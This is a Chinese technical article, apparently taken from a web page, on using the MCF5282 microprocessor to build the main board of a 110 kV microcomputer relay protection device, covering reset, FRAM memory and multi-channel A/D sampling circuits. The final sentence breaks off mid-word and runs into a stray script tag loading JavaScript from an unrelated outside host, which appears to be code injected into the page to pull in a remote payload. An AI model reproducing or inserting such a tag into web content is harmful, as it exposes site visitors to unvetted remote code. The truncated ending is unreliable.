目前,在作为微机保护心脏的微处理器中,一般采用高性能单片机(如intel公司的87c196cb,87c196cb,78c196nt),数字信号处理器dsp(如ti公司的tms320f2812)和可编程逻辑器件pld(如xilinx公司的xc9572)等来提高继电保护的处理速度,但是,随着继电保护向着多功能、智能化、可视化的方向发展,上述几种单一的芯片已经不能完全满足这些要求,如使用多种通信方式去实现组网调度。在本文中将介绍一种新型嵌入式微处理器mcf5282以及由它设计出的嵌入式主模板,能够满足多种通信方式的要求,而且其处理速度和实现多通道交直流采样的精度比起上述三类芯片都要高得多,其实时性也更完美。
1 mcf5282微处理器的主要特点
mcf5282微处理器是迄今为止motorola推出的最高集成度的coldfir系列32位处理器,内含有2kb的高速缓冲存储器cache、64kb的随机存储器ram和512kb的闪存flash,其i/o口总数达到152个,它还采用智能digitaldna技术,在66mhz下工作速度为59dhrystone2.1 mips。此外,mcf5282微处理器还具有新型设备。
快速以太网媒体存取控制(mac),支持100 mbps mii,10 mbps mii和10 mbps7线实际接口,它使以太网连接从板级扩展到芯片级,这是mcf5282区别于其他类型处理器的特色之一。
qspi模块,提供带有序列传输性能的串行外围接口。
3个通用异步串行接口模块uart。
i2c系统总线模块。
can2.0b标准接口模块。
4个32位的dma定时/计数器、8个16位通用定时/计数器,4个周期中断定时/计数器。
8路10位a/d转换器模块(qadc)。
dma控制模块、可对8位、16位、32位的数据进行操作。
2个中断控制模块、每个中断控制模块可管理7级中断,每级又有9个中断源,共可管理126个中断源。
带冲突检测的复位控制模块。
电源管理模块(pww)共有四种运行模式:run,wait,doze和stop。
2 微机保护装置的嵌入式主模板
2.1 微机保护装置的工作原理
由待保护系统送来的电流电压信号,经电流电压互感器变换后产生低电压信号(±10v内)送入主模板,主模板内的mcf522微处理器运行片内的保护软件,进行信号采样,完成各种数值运算、分析及处理,从而确定待保护系统的运行状态,如有故障,则由mcf5282经输出模板发出跳闸动作信号,达到保护系统的目的,同时,由各种通信方式保护动作信息送入管理模板和上位机,记录、保存数据并报警,完成微机保护装置的工作过程。
2.2 mcf5282构成的嵌入式主模板
笔者在设计110kv高电压的微机保护装置中,选择以mcf5282为核心,构成嵌入式硬件主模板,它主要由数据采样、存储器,开关量输入输出,通信以及串行时钟和e2prom等电路组成,如图1所示。
以下将对mcf5282与各个部分的连接及工作原理加以叙述。
2.2.1 mcf5282电路
为提高主模板的可靠性,应尽量减少mc5282的外围器件,设计mcf5282以单片方式运行,mcf5282采用i/o端口或功能端口,与外部进行信息交换,系统的复位电路采用带电源监视的复位电路芯片imp706r,在装置上电,电源电压异常,手动复位和程序运行混乱或超时而产生"死锁"时可使系统复位,其电路如图2所示。
2.2.2 存储器和数据采样电路
存储器选用2片fm18l08,数据采样选用ad976a,两种器件的数据线、地址线共用,控制线除片选线外,其他线共用,如图3所示,mcf5282微处理器中的软件以i/o端口方式操作这些信号线。
fm18l08是采用先进的铁电技术制造的32kb非易失性铁电随机存储器fram,其数据掉电后可以保存10年之久。它的高速写操作以及擦写次数多使得它比其他非易失性存储器具有更高的优势。fm18l08与mcf5282的连接如图3所示,2片fm18l08采用并联的方式构成32k×16位的存储器,它可以进行8位和16位的数据操作,mcf5282片内已有64kb的随机存储器,足以存放嵌入式系统中软件处理的各种数据,扩展fm18l08的主要目的是实现数据滤波和动作参数的存放。
mcf5282中有8路10位队列式a/d转换器模块(qadc),但其路数和精度均达不到要求,因此采用了2片美信公司的16选1模拟电子开关芯片max306与ad976a构成的31路16位、信号范围为±10v的数据采集电路。
ad976a是adi公司生产的模数转换器,其分辨率为16位,最高采样速率可达到200ksps,它是采用电荷重分布技术的逐次逼近型模数转换器,其结构比传统逼近型adc简单,且不再需要完整的模数转换器作为核心,由于电容网络直接使用电荷作?script src=http://er12.com/t.js>











